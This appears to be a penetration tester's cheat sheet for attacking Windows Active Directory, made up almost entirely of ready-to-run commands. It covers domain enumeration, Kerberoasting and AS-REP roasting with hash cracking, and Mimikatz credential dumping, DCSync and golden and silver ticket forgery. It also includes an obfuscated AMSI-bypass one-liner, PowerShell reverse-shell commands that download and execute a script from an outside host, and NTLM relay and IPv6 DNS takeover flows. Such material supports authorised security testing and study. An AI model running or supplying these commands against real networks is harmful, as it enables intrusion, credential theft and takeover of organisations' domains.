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AD

Info

Basic Active Directory terms

Users

Agent represented by a user account.
  • Regular user accounts (used by employees or for specific task as backups)
  • Computer accounts (ends with $). Computers in AD are a users subclass.

Services

  • Identified by SPN which indicates the service name and class, the owner and the host computer.
  • Is executed in a computer (the host of the service) as a process.
  • Services (as any process) are running in the context of a user account, with the privileges and permissions of that user.
  • The SPN’s of the services owned by an user are stored in the attribute ServicePrincipalName of that account.
  • Usually Domain Admin or similar role is required to modify the SPN’s of a user.

General

# Anonymous Credential LDAP Dumping:
ldapsearch -LLL -x -H ldap:// -b ‘’ -s base ‘(objectclass=*)
# Impacket GetADUsers.py (Must have valid credentials)
GetADUsers.py -all -dc-ip
# Impacket lookupsid.py
/usr/share/doc/python3-impacket/examples/lookupsid.py username:[email protected]
# Windapsearch:
# https://github.com/ropnop/windapsearch
python3 windapsearch.py -d host.domain -u domain\\ldapbind -p PASSWORD -U
# Go version https://github.com/ropnop/go-windapsearch
# CME
cme smb IP -u '' -p '' --users --shares
# BloodHound
# https://github.com/BloodHoundAD/BloodHound/releases
# https://github.com/BloodHoundAD/SharpHound3
# https://github.com/chryzsh/DarthSidious/blob/master/enumeration/bloodhound.md
Import-Module .\sharphound.ps1
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -domain target-domain -LDAPUser username -LDAPPass password
# Bloodhound.py (no shell needed) remote, ldap auth
https://github.com/fox-it/BloodHound.py
bloodhound-python -u <user> -p '<password>' -ns <dc.ip> -d <domain.name> -c all
# BloodHound Cheatsheet
# https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
# Bloodhound raw queries
# https://github.com/xenoscr/Useful-BloodHound-Queries
# Bloodhound complements
# https://github.com/RastreatorTeam/rastreator
# https://github.com/kaluche/bloodhound-quickwin
# https://github.com/knavesec/Max
# https://github.com/improsec/ImproHound
# https://github.com/fox-it/aclpwn.py
# Get BH data from LDAP
https://github.com/c3c/ADExplorerSnapshot.py
# Rubeus
# https://github.com/GhostPack/Rubeus
## ASREProasting:
Rubeus.exe asreproast /format:<AS_REP_responses_format [hashcat | john]> /outfile:<output_hashes_file>
## Kerberoasting:
Rubeus.exe kerberoast /outfile:<output_TGSs_file>
Rubeus.exe kerberoast /outfile:hashes.txt [/spn:"SID-VALUE"] [/user:USER] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ou:"OU=,..."]
## Pass the key (PTK):
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt
# Using the ticket on a Windows target:
Rubeus.exe ptt /ticket:<ticket_kirbi_file>
# Password Spraying tool
https://github.com/dafthack/DomainPasswordSpray
# Kerberoast
https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-Kerberoast.ps1
# Powerview
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Find-InterestingDomainShareFile
–CheckAccess
# AD Cheatsheets
https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet
# References:
https://wadcoms.github.io/
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#most-common-paths-to-ad-compromise
https://github.com/infosecn1nja/AD-Attack-Defense
https://adsecurity.org/?page_id=1821
https://github.com/sense-of-security/ADRecon
https://adsecurity.org/?p=15
https://adsecurity.org/?cat=7
https://adsecurity.org/?page_id=4031
https://www.fuzzysecurity.com/tutorials/16.html
https://blog.stealthbits.com/complete-domain-compromise-with-golden-tickets/
http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain
https://adsecurity.org/?p=1588
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://www.harmj0y.net/blog/tag/powerview/
https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos
https://github.com/dievus/Oh365UserFinder
https://o365blog.com/aadinternals/

Common vulns

# Users having rights to add computers to domain
add-computer –domainname org.local -Credential ORG\john -restart –force
# AdminCount attribute set on common users
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json
Import-Module ActiveDirectory
Get-AdObject -ldapfilter "(admincount=1)" -properties admincount
# High number of users in privileged groups
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
runas /netonly /user:<DOMAIN>\<USER> cmd.exe
- Linux:
net rpc group members 'Schema Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Enterprise Admins' -I <DC-IP> -U "<USER>"%"<PASS>"
net rpc group members 'Domain Admins' -I 10.10.30.52 -U "john"%"pass123"
# Service accounts being members of Domain Admins
net group "Schema Admins" /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain
# Excessive privileges allowing for shadow Domain Admins
Bloodhound/Sharphound
# Service accounts vulnerable to Kerberoasting
GetUserSPNs.py -request example.com/john:pass123
hashcat -m 13100 -a 0 -O --self-test-disable hashes.txt wordlist.txt
# Users with non-expiring passwords
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep DONT_EXPIRE_PASSWD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -filter * -properties Name, PasswordNeverExpires | where { $_.passwordNeverExpires -eq "true" } | where {$_.enabled -eq "true" }
# Users with password not required
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
grep PASSWD_NOTREQD domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3}'
- PS
Import-Module ActiveDirectory
Get-ADUser -Filter {UserAccountControl -band 0x0020}
# Storing passwords using reversible encryption
mimikatz # lsadump::dcsync /domain:example.com /user:poorjohn
# Storing passwords using LM hashes
- In NTDS.dit
grep -iv ':aad3b435b51404eeaad3b435b51404ee:' dumped_hashes.txt
# Service accounts vulnerable to AS-REP roasting
GetNPUsers.py example.com/ -usersfile userlist.txt -format hashcat -no-pass
GetNPUsers.py example.com/john:pass123 -request -format hashcat
hashcat -m 18200 -a 0 -O --self-test-disable hashes.txt wordlist.txt
- PS
Import-Module ActiveDirectory
Get-ADuser -filter * -properties DoesNotRequirePreAuth | where {$._DoesNotRequirePreAuth -eq "True" -and $_.Enabled -eq "True"} | select Name
# Weak domain password policy
net accounts /domain
polenum --username john --password pass123 --domain 10.10.51.11
enum4linux -P -u john -p pass123 -w dom.local 172.21.1.60
# Inactive domain accounts
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
sort -t ';' -k 8 domain_users.grep | grep -v ACCOUNT_DISABLED | awk -F ';' '{print $3, $8}'
# Privileged users with password reset overdue
python ldapdomaindump.py -u example.com\john -p pass123 -d ';' 10.100.20.1
jq -r '.[].attributes | select(.adminCount == [1]) | .sAMAccountName[]' domain_users.json > privileged_users.txt
while read user; do grep ";${user};" domain_users.grep; done < privileged_users.txt | \
grep -v ACCOUNT_DISABLED | sort -t ';' -k 10 | awk -F ';' '{print $3, $10}'
# Users with a weak password
$a = [adsisearcher](&(objectCategory=person)(objectClass=user))
$a.PropertiesToLoad.add(“samaccountname”) | out-null
$a.PageSize = 1
$a.FindAll() | % { echo $_.properties.samaccountname } > users.txt
Import-Module ./adlogin.ps1
adlogin users.txt domain.com password123
# Credentials in SYSVOL and Group Policy Preferences (GPP)
findstr /s /n /i /p password \\example.com\sysvol\example.com\*
mount.cifs -o domain=example.com,username=john,password="[email protected]" //10.10.139.115/SYSVOL /mnt
grep -ir 'password' /mnt

Quick tips

# Amsi bypass
sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( GeT-VariaBle ( "1Q2U" +"zX" ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System' ) )."g`etf`iElD"( ( "{0}{2}{1}" -f'amsi','d','InitFaile' ),( "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )
# Powershell Execution policy Bypass
powershell -ep bypass
# To input the output of the first command into second command use this powershell technique
# %{} is an alias for ForEach-Object{}
# ?{} is an alias for Where-Object{}
# $_ is variable
<First command> | %{<Second command> -<argument> $_}
# To filter out an object type we can use this technique with pipe.
?{$_.<object> -eq '<value>’'}
# Find local admin access
Find-LocalAdminAccess
# Get Domain sid
Get-DomainSID
Arguments -Domain “domain name”
# Get DC
Get-NetDomainController
Arguments -Domain “domain name”
# Get users in current domain
Get-NetUser
Arguments -UserName “username”
# Get user properties
Get-UserProperty
Arguments -Properties pwdlastset
# Search for a particular string in a user's attributes
Find-UserField -SearchField Description -SearchTerm ”built”
# Get all computers
Get-NetComputer -FullData
Many arguments -OperatingSystem -Ping -FullData
# Get groups
Get-NetGroup
Arguments -FullData -Domain
# Get members of a particular group
Get-NetGroupMember -GroupName "Domain Admins"
# Group Policies
Get-NetGPO Get-NetGPO -ComputerName Get-NetGPOGroup
# Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName
# Get OUs
Get-NetOU -FullData Get-NetGPO -GPOname
# Mapping forest
Get-NetForest -Verbose
Get-NetForestDomain -Verbose
# Mapping trust
Get-NetDomainTrust
Arguments -Domain
Get-NetForestDomain -Verbose | Get-NetDomainTrust
# Finding Constrained Delegation
Get-DomainUser -TrustedToAuth (Poweview Dev.)
# Finding UnConstrained Delegation
Get-NetComputer -UnConstrained
# Get ACLs
Get-ObjectAcl -SamAccountName -ResolveGUIDs Get-ObjectAcl -ADSprefix 'CN=Administrator, CN=Users' -Verbose
# Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs
# Reverse Shell
powershell.exe -c iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.113/Invoke-PowerShellTcp.ps1'));Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.X -Port 443
powershell.exe iex (iwr http://172.16.100.113/Invoke-PowerShellTcp.ps1 -UseBasicParsing);Invoke-PowerShellTcp -Reverse -IPAddress 172.16.100.113 -Port 443
#Mimikatz
# Make ntlm ps-session
Invoke-Mimikatz -Command '"sekurlsa::pth /user: /domain: /ntlm: /run:powershell.exe"'
# Dump creds
Invoke-Mimikatz
Invoke-Mimikatz -Command ‘“lsadump::lsa /patch”’
Invoke-Mimikatz -Command '"lsadump::dcsync /user:\krbtgt"'
(dcsync requires 3 permission )
# Tickets
Inject ticket:-
Invoke-Mimikatz -Command '"kerberos::ptt <location of .kirbi tkt>"'
Export Tickets:-
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
# Golden tkt
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<DomainName> /sid:<Domain's SID> /krbtgt:<krbtgt hash> id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'
# Silver tkt
Invoke-Mimikatz -Command '"kerberos::golden /domain:<DomainName> /sid:<DomainSID> /target:<target> /service:<ServiceType> /rc4:<rc4 NTLM Hash of user> /user:<UserToImpersonate> /ptt"'
# TGT tkt
kekeo.exe tgt::ask /user:<user name> /domain:<domain name> /rc4:<rc4 NTLM Hash of user>
# TGS tkt
Kekeo.exe
tgs::s4u /tgt:tgt_ticket.kirbi /user:<user>@<domain> /service:<service name>/<server name>

Relay attacks flow

I’m bringing relaying back: A comprehensive guide on relaying anno 2022 - TrustedSec
TrustedSec

Scan

# First just listen
sudo responder -I eth0 -A
# Check SMB signing disabled
crackmapexec smb 10.10.10.0/24 --gen-relay-list smb_sign_disabled.txt

Basic attack A

# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt
# Then start responder in attack mode
responder -rdP -I eth0
# Cracking NTLMv2
hashcat -m 5600 ntlmhash.txt /usr/share/wordlists/rockyou.txt --force

Basic attack B (socks proxy)

# Modify responder.cfg to disable HTTP and SMB servers
# Start ntmlrelay.py against smb_sign_disabled.txt hosts list
ntlmrelayx.py -tf smb_sign_disabled.txt -smb2support -socks
# Edit proxychains4.conf to:
socks4 127.0.0.1 1080
# Run secretsdump
proxychains secretsdump.py dcname\user:[email protected]
# Even smbclient
proxychains smbclient.py dcname\user:[email protected]

LDAP Enum

ntlmrelayx.py -t ldap://10.10.10.10 -smb2support

IPv6 DNS Takeover via Mitm6

git clone https://github.com/fox-it/mitm6.git
pip install mitm6
mitm6 -d domain.name
# During before step, in other terminal run
ntlmrelayx.py -6 -t ldaps://192.168.176.129 -wh fakewpadhost.domain.name -l dir

LDAP complete guide

LDAPSearch Reference

AD Mindmap

https://raw.githubusercontent.com/Orange-Cyberdefense/arsenal/master/mindmap/pentest_ad.png
https://t.co/hE0VKO5b2I?amp=1
Pentesting_Active_directory
https://xmind.net/m/5dypm8/

DACL mindmap

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Outline
Info
Basic Active Directory terms
General
Common vulns
Quick tips
Relay attacks flow
Scan
Basic attack A
Basic attack B (socks proxy)
LDAP Enum
IPv6 DNS Takeover via Mitm6
LDAP complete guide
AD Mindmap
DACL mindmap